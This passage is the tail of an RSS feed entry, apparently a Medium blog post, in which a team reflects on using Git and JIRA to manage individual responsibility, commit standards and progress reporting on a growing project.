consistent and helped us evaluate the quality of what we delivered.</p><p>By using Git and JIRA together, we balanced individual responsibility with group collaboration. It helped us develop a habit of writing cleaner code, following proper commit standards, and communicating progress transparently. This made the workflow much more manageable, especially as our project became more complex.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2545f05458d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>